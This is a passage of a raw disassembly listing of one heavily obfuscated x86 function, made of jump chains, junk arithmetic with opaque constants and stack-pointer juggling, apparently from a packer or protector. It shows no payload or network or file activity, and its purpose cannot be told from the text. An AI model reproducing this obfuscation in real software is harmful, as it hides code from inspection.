[esp-38h+arg_30] add esp, 4 and eax, ebp jmp loc_5A15D4 ; --------------------------------------------------------------------------- loc_5A2FDF: ; CODE XREF: sub_580566+1E711j add eax, 4 jmp loc_59B7DD ; --------------------------------------------------------------------------- loc_5A2FE9: ; CODE XREF: sub_580566+19C41j sub esp, 4 mov [esp-22h+arg_1A], esi push esp mov esi, [esp-1Eh+arg_16] push ebp push esp jmp loc_59C589 ; --------------------------------------------------------------------------- loc_5A2FFD: ; CODE XREF: sub_580566+1A357j pop ebp jmp loc_59DC0C ; --------------------------------------------------------------------------- loc_5A3003: ; CODE XREF: sub_580566+22B59j sub eax, esi jmp loc_59604E ; --------------------------------------------------------------------------- loc_5A300A: ; CODE XREF: sub_580566+11C52j pop edx or cl, bl pop ebx jmp loc_5A2482 ; --------------------------------------------------------------------------- loc_5A3013: ; CODE XREF: sub_580566+14FE7j push eax mov eax, 4A4B5199h add edx, eax pop eax sub esi, 375F06A3h jmp loc_5948B1 ; --------------------------------------------------------------------------- loc_5A3027: ; CODE XREF: sub_580566+170D7j mov si, dx jmp loc_59A19D ; --------------------------------------------------------------------------- loc_5A302F: ; CODE XREF: sub_580566+17E1Ej xor esi, 2ED21336h xor esi, 912E78EDh add edx, esi pop esi jmp loc_5A56EE ; --------------------------------------------------------------------------- loc_5A3043: ; CODE XREF: sub_580566+1AC98j add dh, 0F5h sub al, dh pop edx jmp loc_5A2110 ; --------------------------------------------------------------------------- loc_5A304E: ; CODE XREF: sub_580566+21F17j xor dword ptr [eax], 2594285Bh jmp loc_594F01 ; --------------------------------------------------------------------------- loc_5A3059: ; CODE XREF: sub_580566+1A676j pop edx sub eax, 4 jmp loc_59FD1C ; --------------------------------------------------------------------------- loc_5A3062: ; CODE XREF: sub_580566+18FC1j pop esi add esi, 1 add esi, 4174233Ah push ebx push edx mov edx, 1E923509h mov ebx, edx pop edx sub ebx, 24F271F6h xor ebx, 52963E6Ah not ebx sub esp, 4 mov [esp+0], ebp jmp loc_595F6D ; --------------------------------------------------------------------------- loc_5A308F: ; CODE XREF: sub_580566+1B0C8j mov [esp-3Ch+arg_34], esi push [esp-3Ch+arg_38] push [esp-38h+arg_30] pop esi add esp, 4 pop [esp-3Ch+arg_34] mov esp, [esp-40h+arg_38] mov ax, word ptr [esp-40h+arg_38] push 3FBh mov [esp-3Ch+arg_34], ebx push ebx mov ebx, esp jmp loc_592D0B ; --------------------------------------------------------------------------- loc_5A30BA: ; CODE XREF: sub_580566+177B2j mov eax, 0 jmp loc_5A3003 ; --------------------------------------------------------------------------- loc_5A30C4: ; CODE XREF: sub_580566+1714Fj push edx mov dh, 0Ch sub dh, 0C1h jmp loc_59BEB2 ; --------------------------------------------------------------------------- loc_5A30CF: ; CODE XREF: sub_580566+133FFj add edi, 0FFC7AF75h mov edx, edi pop edi add edi, edx jmp loc_595191 ; --------------------------------------------------------------------------- loc_5A30DF: ; CODE XREF: sub_580566+1DE72j push esi mov esi, esp add esi, 4 add esi, 2 xchg esi, [esp-22h+arg_1A] pop esp jmp loc_594325 ; --------------------------------------------------------------------------- loc_5A30F7: ; CODE XREF: sub_580566+11012j sub ecx, 4600F31h sub ecx, ebp push edi mov edi, 54EC5F64h sub edi, 508C5033h jmp loc_596B15 ; --------------------------------------------------------------------------- loc_5A3110: ; CODE XREF: sub_580566+1AFBBj xor [esp-34h+arg_2C], ecx xor ecx, [esp-34h+arg_2C] pop esp jmp loc_59C1AB ; --------------------------------------------------------------------------- loc_5A311C: ; CODE XREF: sub_580566+1C3EBj add ebx, 153B7BDAh jmp loc_59C01C ; --------------------------------------------------------------------------- loc_5A3127: ; CODE XREF: sub_580566+24667j mov word ptr [esp-52h+arg_48+2], cx jmp loc_59B1EB ; --------------------------------------------------------------------------- loc_5A3130: ; CODE XREF: sub_580566+1565Bj add [esp-28h+arg_24], eax pop eax pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp-30h+arg_28] jmp loc_5A1215 ; --------------------------------------------------------------------------- loc_5A314A: ; CODE XREF: sub_580566+241BCj mov [esp-30h+arg_28], eax sub esp, 4 jmp loc_5954A1 ; --------------------------------------------------------------------------- loc_5A3155: ; CODE XREF: sub_580566+1C67Dj add edi, 4 xor edi, [esp-28h+arg_20] xor [esp-28h+arg_20], edi jmp loc_5A54B8 ; --------------------------------------------------------------------------- loc_5A3163: ; CODE XREF: sub_580566+1FBCAj pop edx mov edx, ebp pop ebp xor eax, edx mov edx, [esp-4Ch+arg_44] add esp, 4 push edi jmp loc_597EF5 ; --------------------------------------------------------------------------- loc_5A3175: ; CODE XREF: sub_580566+24C1Cj pop ebp push edx mov edx, 74A82DD4h add ecx, edx jmp loc_5923E3 ; --------------------------------------------------------------------------- loc_5A3183: ; CODE XREF: sub_580566+20B20j mov dh, ah mov ch, dh mov edx, [esp-38h+arg_30] push esi mov esi, esp add esi, 4 jmp loc_5A0060 ; --------------------------------------------------------------------------- loc_5A3198: ; CODE XREF: sub_580566+24A29j mov al, 0C5h sub bh, al jmp loc_5A1580 ; --------------------------------------------------------------------------- loc_5A31A1: ; CODE XREF: sub_580566+17C42j push edi push edx mov edx, 29E3321Bh xchg ebp, edx neg ebp xchg ebp, edx not edx sub esp, 4 jmp loc_594BAA ; --------------------------------------------------------------------------- loc_5A31BB: ; CODE XREF: sub_580566+204DFj pop esp mov [esp-56h+arg_4E], esp jmp loc_595FE4 ; --------------------------------------------------------------------------- loc_5A31C4: ; CODE XREF: sub_580566+155EDj sub edi, ebp add edi, 44A46F5h pop ebp sub ebx, edi mov edi, [esp-48h+arg_40] push ebx mov ebx, esp add ebx, 4 jmp loc_5966C2 ; --------------------------------------------------------------------------- loc_5A31E0: ; CODE XREF: sub_580566+1E2B2j push [esp-38h+arg_30] mov ebp, [esp-34h+arg_2C] jmp loc_59322D ; --------------------------------------------------------------------------- loc_5A31EB: ; CODE XREF: sub_580566+1AFA8j add ebp, 4 add ebp, 4 xor ebp, [esp-44h+arg_3C] xor [esp-44h+arg_3C], ebp xor ebp, [esp-44h+arg_3C] pop esp pop [esp-48h+arg_40] pop esp bt [esp-50h+arg_48], eax pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5A320F: ; CODE XREF: sub_580566+1D834j mov esi, edi pop edi sub ebx, 5DF30F77h add ebx, esi add ebx, 5DF30F77h pop esi jmp loc_59B3FF ; --------------------------------------------------------------------------- loc_5A3226: ; CODE XREF: sub_580566+12A15j xchg edx, [esp-3Eh+arg_34+2] pop esp add [esp-42h+arg_3C+2], 48000306h add [esp-42h+arg_3C+2], edx push ebx mov ebx, 164A26FEh neg ebx inc ebx and ebx, 1518730Eh shl ebx, 8 sub ebx, 0C850FEFAh add [esp-3Eh+arg_3C+2], 13097CEAh sub [esp-3Eh+arg_3C+2], ebx jmp loc_5967E8 ; --------------------------------------------------------------------------- loc_5A325F: ; CODE XREF: sub_580566+18133j pop eax push 0 sub [esp-30h+arg_28], ebp mov ebp, [esp-30h+arg_28] add esp, 4 shl ebp, 1 xor ebp, 0D64BC71Fh push ecx mov ecx, 13FF74C4h sub eax, ecx mov ecx, [esp-30h+arg_28] jmp loc_5A0FFF ; --------------------------------------------------------------------------- loc_5A3286: ; CODE XREF: sub_580566+15AFCj push edi mov edi, 11045E2Fh inc edi jmp loc_59C80F ; --------------------------------------------------------------------------- loc_5A3292: ; CODE XREF: sub_580566+2040Ej push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp-8+arg_4] pop esp sub esp, 4 mov [esp-8+arg_4], edx mov edx, 4 sub ebx, 2DAF18C6h add ebx, edx add ebx, 2DAF18C6h mov edx, [esp-8+arg_4] push edx push esp pop edx push ebx mov ebx, 25D479C2h sub ebx, 25D479BEh add edx, ebx pop ebx jmp loc_5A01AD ; --------------------------------------------------------------------------- loc_5A32D5: ; CODE XREF: sub_580566+1AD73j xor edi, ebp jmp loc_5A376D ; --------------------------------------------------------------------------- loc_5A32DC: ; CODE XREF: sub_580566+1C889j pop ecx push eax push 23B3h jmp loc_59834C ; --------------------------------------------------------------------------- loc_5A32E8: ; CODE XREF: sub_580566+21B16j add ecx, 0FFFFFFFFh shl ecx, 5 push edx jmp loc_59E805 ; --------------------------------------------------------------------------- loc_5A32F4: ; CODE XREF: sub_580566+160A4j sub ecx, edi add ecx, 320427D4h pop edi push ecx push [esp-1Eh+arg_1A] pop ecx jmp loc_5991C0 ; --------------------------------------------------------------------------- loc_5A3308: ; CODE XREF: sub_580566+1E012j add edx, 4 jmp loc_59C521 ; --------------------------------------------------------------------------- loc_5A3313: ; CODE XREF: sub_580566+1483Dj add cl, 0FBh shr cl, 3 xor cl, 0F8h add dl, cl pop ecx neg dl jmp loc_5927A8 ; --------------------------------------------------------------------------- loc_5A3326: ; CODE XREF: sub_580566+16465j add edx, 4 add edx, 4 jmp loc_5969F7 ; --------------------------------------------------------------------------- loc_5A3337: ; CODE XREF: sub_580566+21E90j add bl, al jmp loc_59DEE1 ; --------------------------------------------------------------------------- loc_5A333E: ; CODE XREF: sub_580566+1B7A7j xchg ecx, [esp-0Eh+arg_8+2] jmp loc_594390 ; --------------------------------------------------------------------------- loc_5A3346: ; CODE XREF: sub_580566+15CF2j xor ebp, [esp-3Eh+arg_34+2] jmp loc_59FFDE ; --------------------------------------------------------------------------- loc_5A334E: ; CODE XREF: sub_580566+17AFDj mov esi, [esp-28h+arg_20] jmp loc_598C28 ; --------------------------------------------------------------------------- push 65AAh mov [esp-24h+arg_1A+2], ebx push 0FFFFFBFFh push [esp-20h+arg_16+2] push [esp-1Ch+arg_12+2] jmp loc_599DE0 ; --------------------------------------------------------------------------- loc_5A336E: ; CODE XREF: sub_580566+1972Bj mov ah, dh mov cl, ah pop eax pop edx jmp loc_59D0F8 ; --------------------------------------------------------------------------- loc_5A3379: ; CODE XREF: sub_580566+21D7Aj mov [esp-34h+arg_2C], ecx mov ecx, esp jmp loc_596381 ; --------------------------------------------------------------------------- loc_5A3383: ; CODE XREF: sub_580566+1D3D7j pop esp push 5F2Bh jmp loc_596346 ; --------------------------------------------------------------------------- loc_5A338E: ; CODE XREF: sub_580566+1C064j push esi mov esi, 62766F83h jmp loc_59B9DD ; --------------------------------------------------------------------------- loc_5A3399: ; CODE XREF: sub_580566+24946j mov edx, 4 add edi, 5A630F88h add edi, 28B444E8h sub edi, edx jmp loc_5998C3 ; --------------------------------------------------------------------------- loc_5A33B1: ; CODE XREF: sub_580566+177ABj push edx mov edx, 0AE14153h dec edx jmp loc_59C0C2 ; --------------------------------------------------------------------------- loc_5A33BD: ; CODE XREF: sub_580566+1DF08j mov [esp-1Eh+arg_16], ecx jmp loc_594987 ; --------------------------------------------------------------------------- loc_5A33C5: ; CODE XREF: sub_580566+167C7j xor edx, [esp-3Eh+arg_34+2] mov esp, [esp-3Eh+arg_34+2] shl [esp-3Eh+arg_34+2], cl pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5A33D4: ; CODE XREF: sub_580566+1D519j mov ebp, [esp-34h+arg_2C] add esp, 4 jmp loc_59C102 ; --------------------------------------------------------------------------- push [esp-38h+arg_30] push [esp-34h+arg_2C] push [esp-30h+arg_28] pop ecx add esp, 4 jmp loc_599DC1 ; --------------------------------------------------------------------------- loc_5A33F4: ; CODE XREF: sub_580566+225F2j mov ebx, [esp-2Eh+arg_24+2] add esp, 4 sub edx, edi pop edi xchg edx, [esp-36h+arg_2C+2] mov esp, [esp-36h+arg_2C+2] mov [esp-36h+arg_2C+2], ebx jmp loc_59468C ; --------------------------------------------------------------------------- loc_5A340E: ; CODE XREF: sub_580566+2224Ej push ebp push esi mov esi, 7DC2777Ah add esi, 1B3E4DEBh push eax mov eax, 0A14676Dh sub eax, 0FC7C3764h jmp loc_59124F ; --------------------------------------------------------------------------- loc_5A342B: ; CODE XREF: sub_580566+179ADj shl edi, 2 add edi, 13D717Ch push ecx mov ecx, 0BD067EBFh sub edi, ecx pop ecx jmp loc_59EF16 ; --------------------------------------------------------------------------- loc_5A3442: ; DATA XREF: sub_580566+102A2o mov cx, [esp] jmp loc_59B08B ; --------------------------------------------------------------------------- loc_5A344B: ; CODE XREF: sub_580566+23371j add ebx, 4 push 6A8Ch jmp loc_5A4D76 ; --------------------------------------------------------------------------- loc_5A345B: ; CODE XREF: sub_580566+119A2j mov [esp-52h+arg_48+2], ebx push [esp-52h+arg_4E] push [esp-4Eh+arg_44+2] push [esp-4Ah+arg_40+2] pop ebx add esp, 4 add esp, 4 pop [esp-52h+arg_48+2] mov esp, [esp-56h+arg_4E] push 2588h mov [esp-52h+arg_48+2], ebp jmp loc_5A0A30 ; --------------------------------------------------------------------------- loc_5A3488: ; CODE XREF: sub_580566+16ECAj push ebp mov ebp, esp add ebp, 4 push eax mov eax, 4 add ebp, eax pop eax push ebp push [esp-70h+arg_6A+2] pop ebp pop [esp-70h+arg_66+2] pop esp jmp loc_59884D ; --------------------------------------------------------------------------- loc_5A34A9: ; CODE XREF: sub_580566+22345j mov [esp-2Ch+arg_24], edi mov edi, 4 add ebx, edi push [esp-2Ch+arg_24] pop edi add esp, 4 sub ebx, 4 xchg ebx, [esp-30h+arg_28] jmp loc_5A4E42 ; --------------------------------------------------------------------------- loc_5A34C5: ; CODE XREF: sub_580566+1E0B2j mov eax, 0C6A2172Fh sub ebx, eax pop eax jmp loc_5A08D0 ; --------------------------------------------------------------------------- loc_5A34D2: ; CODE XREF: sub_580566+17BA5j push eax neg [esp-40h+arg_38] pop eax push ebx mov ebx, 742C4779h add eax, ebx jmp loc_59D9D0 ; --------------------------------------------------------------------------- loc_5A34E4: ; CODE XREF: sub_580566+24DD8j or eax, 46CB11BFh jmp loc_59E1EB ; --------------------------------------------------------------------------- loc_5A34EE: ; CODE XREF: sub_580566+2480Bj mov esp, [esp-40h+arg_38] jmp loc_59CD98 ; --------------------------------------------------------------------------- loc_5A34F6: ; CODE XREF: sub_580566+1103Fj add edi, 322E11FBh add edi, ebx sub edi, 322E11FBh sub edi, 0A5524DEh jmp loc_594B52 ; --------------------------------------------------------------------------- loc_5A350F: ; CODE XREF: sub_580566+181F7j sub [esp-40h+arg_3C], 204C0105h sub [esp-40h+arg_3C], 0EF60AFAh jmp loc_599B83 ; --------------------------------------------------------------------------- loc_5A3524: ; CODE XREF: sub_580566+18F66j xor edx, esi jmp loc_5A489A ; --------------------------------------------------------------------------- loc_5A352B: ; CODE XREF: sub_580566+190B6j sub edi, 7B866EE4h jmp loc_5910EA ; --------------------------------------------------------------------------- loc_5A3536: ; DATA XREF: sub_580566+104AEo mov ax, word ptr [esp-22h+arg_1A] push edx jmp loc_59902E ; --------------------------------------------------------------------------- loc_5A3540: ; CODE XREF: sub_580566+19BFBj add esi, 4 jmp loc_59C129 ; --------------------------------------------------------------------------- byte_5A354B db 66h ; DATA XREF: sub_580566+10462o dd 68240C8Bh, 7A06h, 68241C89h, 5C4Dh, 0FFD472E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A3561: ; CODE XREF: sub_580566+15812j shl edi, 3 jmp loc_59A8DE ; --------------------------------------------------------------------------- loc_5A3569: ; CODE XREF: sub_580566+1A341j mov eax, 4 jmp loc_596AFD ; --------------------------------------------------------------------------- loc_5A3573: ; CODE XREF: sub_580566+12A28j push eax mov ah, 0DEh push bx mov bh, 0FFh jmp loc_5A4BDC ; --------------------------------------------------------------------------- loc_5A357F: ; CODE XREF: sub_580566+13F0Aj pop esi sub ebx, 0E774503h add ebx, 587802F8h inc ebx neg ebx add ebx, 687BE199h add edx, ebx jmp loc_59B02C ; --------------------------------------------------------------------------- loc_5A359C: ; CODE XREF: sub_580566+1D1F4j xor ebx, [esp-20h+arg_16+2] pop esp pop ecx and eax, ebp push [esp-28h+arg_20] jmp loc_599BED ; --------------------------------------------------------------------------- loc_5A35AB: ; CODE XREF: sub_580566+23546j sub edx, 4 xchg edx, [esp-24h+arg_1A+2] jmp loc_5981F5 ; --------------------------------------------------------------------------- loc_5A35B9: ; CODE XREF: sub_580566+1125Ej shl edx, 2 shr edx, 3 sub esp, 4 mov [esp-2Ch+arg_24], ebp mov ebp, 80A11Ch sub edx, ebp pop ebp jmp loc_5974FE ; --------------------------------------------------------------------------- loc_5A35D2: ; CODE XREF: sub_580566+15C37j mov [esp-32h+arg_28+2], edi mov edi, esp push ebx mov ebx, 7B610222h push esi jmp loc_5A3B1B ; --------------------------------------------------------------------------- loc_5A35E3: ; CODE XREF: sub_580566+2384Fj mov [esp-2Ah+arg_20+2], ecx push [esp-2Ah+arg_24+2] mov ecx, [esp+0] push ebp mov ebp, esp add ebp, 4 jmp loc_59B481 ; --------------------------------------------------------------------------- loc_5A35FB: ; CODE XREF: sub_580566+161BEj push edx mov edx, esp add edx, 4 push edi mov edi, 784B563Ah neg edi shl edi, 3 dec edi shl edi, 6 sub edi, 69538BBCh sub edx, edi jmp loc_5A3FA7 ; --------------------------------------------------------------------------- loc_5A3620: ; CODE XREF: sub_580566+24165j mov dh, cl xchg ch, dh not ch xchg ch, dh mov cl, dh pop dx push bx mov bl, 0BEh sub cl, bl pop bx push ebx mov bl, 9 jmp loc_59353F ; --------------------------------------------------------------------------- loc_5A363C: ; CODE XREF: sub_580566+159A1j mov [esp-3Ah+arg_30+2], edx mov edx, esp add edx, 4 push eax mov eax, 4 add edx, eax pop eax xchg edx, [esp-3Ah+arg_30+2] jmp loc_599F29 ; --------------------------------------------------------------------------- loc_5A3658: ; CODE XREF: sub_580566+16764j inc ecx add ecx, 0FB591781h add ebp, ecx pop ecx push ebp push eax push esi jmp loc_59D0D8 ; --------------------------------------------------------------------------- loc_5A366A: ; DATA XREF: sub_580566+1041Ao push [esp-4Ah+arg_40+2] pop ecx push 7347h mov [esp-46h+arg_3C+2], ebp jmp loc_5A4013 ; --------------------------------------------------------------------------- loc_5A367B: ; CODE XREF: sub_580566+1475Bj sub esi, ebx pop ebx mov ebp, esi mov esi, [esp-24h+arg_1A+2] add esp, 4 push edx mov edx, 3BFE7284h xor ebp, edx pop edx push edi mov edi, 74E35925h or ebp, edi pop edi dec ebp sub esp, 4 mov [esp-24h+arg_1A+2], eax mov eax, 2FD200B6h and ebp, eax mov eax, [esp-24h+arg_1A+2] add esp, 4 push edx mov edx, 2129089Ch push edx dec [esp-20h+arg_16+2] pop edx not edx jmp loc_59A431 ; --------------------------------------------------------------------------- loc_5A36C4: ; CODE XREF: sub_580566+118B2j dec ebx jmp loc_591BC4 ; --------------------------------------------------------------------------- loc_5A36CA: ; CODE XREF: sub_580566+2378Ej mov [esp-56h+arg_4E], edx push ebx mov bh, 2Dh shr bh, 3 dec bh add bh, 0BBh mov dl, bh pop ebx inc dl or dl, 61h jmp loc_59CDBD ; --------------------------------------------------------------------------- loc_5A36E5: ; CODE XREF: sub_580566+105DAj pop edx jmp loc_5A5A60 ; --------------------------------------------------------------------------- loc_5A36EB: ; CODE XREF: sub_580566+246F8j sub edi, 106B04E5h pop edx sub esp, 4 jmp loc_5A0D29 ; --------------------------------------------------------------------------- loc_5A36FD: ; CODE XREF: sub_580566+1B26Bj push ecx push 4 pop ecx add ebp, ecx jmp loc_594581 ; --------------------------------------------------------------------------- loc_5A370B: ; CODE XREF: sub_580566+1B2A0j mov [esp+0], ecx mov ecx, 0FFFFFFFFh add edi, ecx mov ecx, [esp+0] add esp, 4 jmp loc_59E9CB ; --------------------------------------------------------------------------- loc_5A3720: ; CODE XREF: sub_580566+138AEj and edi, 27106EFFh dec edi sub edi, 0DEF71CC9h xor ecx, edi pop edi push ebp mov ebp, ecx jmp loc_59B788 ; --------------------------------------------------------------------------- loc_5A3738: ; CODE XREF: sub_580566+15638j add ebx, 67236F13h sub ebx, 66936A62h sub ebx, ebp add ebx, 66936A62h sub ebx, 67236F13h pop ebp jmp loc_5A55AC ; --------------------------------------------------------------------------- loc_5A3758: ; CODE XREF: sub_580566+1C233j push esi mov esi, 0C734E53h shr esi, 6 dec esi push edi mov edi, 29B3148Ch jmp loc_59B641 ; --------------------------------------------------------------------------- loc_5A376D: ; CODE XREF: sub_580566+22D71j pop ebp and edi, 461565E0h xor edi, 420440E1h sub esi, edi pop edi push ebx mov ebx, 0FFFFFFFFh sub esi, ebx pop ebx jmp loc_597E88 ; --------------------------------------------------------------------------- loc_5A378B: ; CODE XREF: sub_580566+13C85j pop dword ptr [edi+24h] loc_5A378E: ; CODE XREF: sub_580566+1D83Bj push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xor ecx, [esp-18h+arg_E+2] jmp loc_593B9A ; --------------------------------------------------------------------------- loc_5A37A5: ; CODE XREF: sub_580566+23F98j add esp, 4 push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp-18h+arg_E+2] jmp loc_597A6B ; --------------------------------------------------------------------------- loc_5A37BF: ; CODE XREF: sub_580566+16157j add ecx, ebx pop ebx push 617Eh mov [esp-3Ah+arg_30+2], edi push 4 pop edi sub ecx, edi jmp loc_594A4C ; --------------------------------------------------------------------------- loc_5A37D7: ; CODE XREF: sub_580566+24987j xchg ebx, [esp-3Ah+arg_30+2] mov esp, [esp-3Ah+arg_30+2] jmp loc_59D3E0 ; --------------------------------------------------------------------------- loc_5A37E2: ; CODE XREF: sub_580566+1A734j mov [esp-28h+arg_20], esi mov esi, esp push edi push ecx mov ecx, 430E1646h not ecx inc ecx neg ecx jmp loc_5948CB ; --------------------------------------------------------------------------- loc_5A37F8: ; CODE XREF: sub_580566+243F9j mov [esp-20h+arg_16+2], esi mov esi, 5D30CEEBh add eax, 58430A8h sub eax, 733809F3h add eax, esi add eax, 733809F3h sub eax, 58430A8h jmp loc_59770F ; --------------------------------------------------------------------------- loc_5A381B: ; CODE XREF: sub_580566+18078j xchg edx, [esp-20h+arg_16+2] jmp loc_594DF6 ; --------------------------------------------------------------------------- loc_5A3823: ; CODE XREF: sub_580566+24181j pop eax jmp loc_5A4789 ; --------------------------------------------------------------------------- loc_5A3829: ; CODE XREF: sub_580566+1BF12j add edx, 2FC9A680h add ebp, edx pop edx sub ebp, ebx sub ebp, 558B2609h pop ebx push ecx mov ecx, 71060DE5h push esi mov esi, 1 sub ecx, esi pop esi jmp loc_593682 ; --------------------------------------------------------------------------- loc_5A384F: ; CODE XREF: sub_580566+124BCj mov esp, [esp-34h+arg_2C] jmp loc_592016 ; --------------------------------------------------------------------------- loc_5A3857: ; CODE XREF: sub_580566+1D81Fj push edx mov edx, 6F956564h mov ecx, 6F956560h xor ecx, edx pop edx push 28C7h jmp loc_5996C1 ; --------------------------------------------------------------------------- loc_5A386F: ; CODE XREF: sub_580566+15350j add edx, 4 push edi jmp loc_59C16D ; --------------------------------------------------------------------------- loc_5A387B: ; CODE XREF: sub_580566+166F5j pop edi or ebp, 2C2C4E97h jmp loc_59EF5D ; --------------------------------------------------------------------------- loc_5A3887: ; CODE XREF: sub_580566+15279j push ebp push edx jmp loc_5A1884 ; --------------------------------------------------------------------------- loc_5A388E: ; CODE XREF: sub_580566+1B51Bj push ebx mov ebx, 4 add ebp, ebx pop ebx add ebp, 4 xchg ebp, [esp-8+arg_4] jmp loc_59EA46 ; --------------------------------------------------------------------------- loc_5A38A5: ; CODE XREF: sub_580566+23A03j add esp, 4 or eax, eax jz loc_594EF0 push dword ptr [edi+1Ch] push ebx push edi jmp loc_598ABF ; --------------------------------------------------------------------------- loc_5A38BD: ; CODE XREF: sub_580566+1A042j sub [esp-36h+arg_30+2], ebp add [esp-36h+arg_30+2], 2757298Ah sub [esp-36h+arg_30+2], 7F816E8h jmp loc_5A47BD ; --------------------------------------------------------------------------- loc_5A38D6: ; CODE XREF: sub_580566+1513Ej pop ebx jmp loc_5A344B ; --------------------------------------------------------------------------- loc_5A38DC: ; CODE XREF: sub_580566+20DB5j add edi, 4 xor edi, [esp-28h+arg_20] xor [esp-28h+arg_20], edi xor edi, [esp-28h+arg_20] mov esp, [esp-28h+arg_20] sub esp, 4 mov [esp-24h+arg_1A+2], ebp mov ebp, 1CA110BEh inc ebp sub ebp, 6337752Ah shr ebp, 6 shl ebp, 5 inc ebp add ebp, 0A34B3243h add edx, 152C3CEAh add edx, ebp sub edx, 152C3CEAh mov ebp, [esp-24h+arg_1A+2] add esp, 4 sub esp, 4 mov [esp-24h+arg_1A+2], edi push 178667B7h pop edi shr edi, 7 shr edi, 2 sub edi, 0BC32Fh add edx, 15E33B53h sub edx, 5D9A591Eh sub edx, edi add edx, 5D9A591Eh sub edx, 15E33B53h pop edi xchg edx, [esp-28h+arg_20] pop esp mov [esp-2Ch+arg_24], ebx sub esp, 4 mov [esp-28h+arg_20], eax jmp loc_59F28A ; --------------------------------------------------------------------------- loc_5A396C: ; CODE XREF: sub_580566+1FA73j push dx jmp loc_59922A ; --------------------------------------------------------------------------- loc_5A3973: ; CODE XREF: sub_580566+18D0Ej xchg ecx, [esp-40h+arg_38] jmp loc_5A2E82 ; --------------------------------------------------------------------------- loc_5A397B: ; CODE XREF: sub_580566+1A9F3j neg dl jmp loc_5A3DD4 ; --------------------------------------------------------------------------- loc_5A3982: ; CODE XREF: sub_580566+10DBBj mov [esp-2Ah+arg_20+2], ebx mov bh, 0B8h push cx mov cl, 80h or bh, cl jmp loc_59CBB3 ; --------------------------------------------------------------------------- loc_5A3992: ; CODE XREF: sub_580566+23D6Dj mov edx, 49E6195Eh xor esi, edx pop edx jmp loc_592586 ; --------------------------------------------------------------------------- loc_5A399F: ; CODE XREF: sub_580566+22324j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp-2Ah+arg_20+2] pop esp add ch, bl pop ebx add ch, 85h xor al, ch jmp loc_5A5516 ; --------------------------------------------------------------------------- loc_5A39BC: ; CODE XREF: sub_580566+2503Aj sub ebx, 2A1B7557h pop esi xchg ebx, [esp-36h+arg_2C+2] mov esp, [esp-36h+arg_2C+2] shr byte ptr [esp-36h+arg_2C+2], cl pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5A39D2: ; CODE XREF: sub_580566+22842j add ebp, ecx pop ecx sub ebp, 4 push ebp push [esp-44h+arg_40] pop ebp pop [esp-44h+arg_3C] jmp loc_596B0F ; --------------------------------------------------------------------------- loc_5A39E6: ; CODE XREF: sub_580566+20EDDj sub esp, 4 mov [esp-48h+arg_40], edx not byte ptr [esp-48h+arg_40] mov edx, [esp-48h+arg_40] jmp loc_59FCCB ; --------------------------------------------------------------------------- loc_5A39F7: ; CODE XREF: sub_580566+18D90j add esp, 4 add edi, 4 sub esp, 4 mov [esp-14h+arg_A+2], ecx sub esp, 4 jmp loc_59F979 ; --------------------------------------------------------------------------- loc_5A3A11: ; CODE XREF: sub_580566+2113Ej xor eax, 61673CFAh dec eax jmp loc_59F02E ; --------------------------------------------------------------------------- loc_5A3A1C: ; CODE XREF: sub_580566+242EEj pop esi push ecx mov ecx, 49912B47h add eax, ecx mov ecx, [esp-48h+arg_40] add esp, 4 xor eax, 68634291h mov edx, eax pop eax jmp loc_59386B ; --------------------------------------------------------------------------- loc_5A3A38: ; CODE XREF: sub_580566+24691j pop eax add edi, esi add edi, 47C45359h push ecx push 240D412Bh pop ecx push edi mov edi, 0 jmp loc_5A29BD ; --------------------------------------------------------------------------- loc_5A3A53: ; CODE XREF: sub_580566+1AAFBj mov [esp-4Ah+arg_40+2], ebp mov ebp, 7F3E7CEEh add edx, ebp pop ebp push 506Bh mov [esp-4Ah+arg_40+2], eax jmp loc_598E29 ; --------------------------------------------------------------------------- loc_5A3A6B: ; DATA XREF: sub_580566+10282o lodsd xor eax, ebx push ebp push esi jmp loc_59F1A0 ; --------------------------------------------------------------------------- loc_5A3A75: ; CODE XREF: sub_580566+2446Cj xor ebp, 1D80CD6h jmp loc_5A12D0 ; --------------------------------------------------------------------------- loc_5A3A80: ; CODE XREF: sub_580566+24AF3j add edi, 573B5A83h pop ebx std push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xor ebp, [esp-42h+arg_38+2] xor [esp-42h+arg_38+2], ebp xor ebp, [esp-42h+arg_38+2] mov esp, [esp-42h+arg_38+2] mov [esp-42h+arg_38+2], eax push edx mov edx, esp add edx, 4 jmp loc_5A35AB ; --------------------------------------------------------------------------- loc_5A3AB1: ; CODE XREF: sub_580566+23922j add edx, ebx pop ebx sub edx, 0F38BB830h add eax, edx jmp loc_593070 ; --------------------------------------------------------------------------- loc_5A3AC1: ; CODE XREF: sub_580566+16605j shl ebp, 5 push esi mov esi, 52BA203Ah xchg edx, esi inc edx push esi push edx pop esi pop edx jmp loc_595139 ; --------------------------------------------------------------------------- loc_5A3AD6: ; CODE XREF: sub_580566+1A4F1j push ebp jmp loc_59F214 ; --------------------------------------------------------------------------- loc_5A3ADC: ; CODE XREF: sub_580566+11A76j add ebp, 4 sub ebp, 4 xchg ebp, [esp-40h+arg_38] pop esp jmp loc_591A33 ; --------------------------------------------------------------------------- loc_5A3AF1: ; CODE XREF: sub_580566+1BBAAj push [esp-24h+arg_20] pop edx pop [esp-24h+arg_1A+2] mov esp, [esp-28h+arg_20] jmp loc_5A194D ; --------------------------------------------------------------------------- loc_5A3B01: ; CODE XREF: sub_580566+1242Cj add ebp, 14250Fh add ebp, edi push ecx push edi jmp loc_591039 ; --------------------------------------------------------------------------- loc_5A3B10: ; CODE XREF: sub_580566+227E9j push 798A2E2Dh pop edx jmp loc_5A1F8D ; --------------------------------------------------------------------------- loc_5A3B1B: ; CODE XREF: sub_580566+23078j mov esi, 5A757F9Ch jmp loc_5A0E9D ; --------------------------------------------------------------------------- loc_5A3B25: ; CODE XREF: sub_580566+15717j mov [esp-2Ah+arg_20+2], ebp mov ebp, 4 add eax, ebp pop ebp jmp loc_59A4D6 ; --------------------------------------------------------------------------- loc_5A3B35: ; CODE XREF: sub_580566+1AF16j add ebx, 4 xchg ebx, [esp-38h+arg_30] pop esp not dl dec dl push 4281h mov 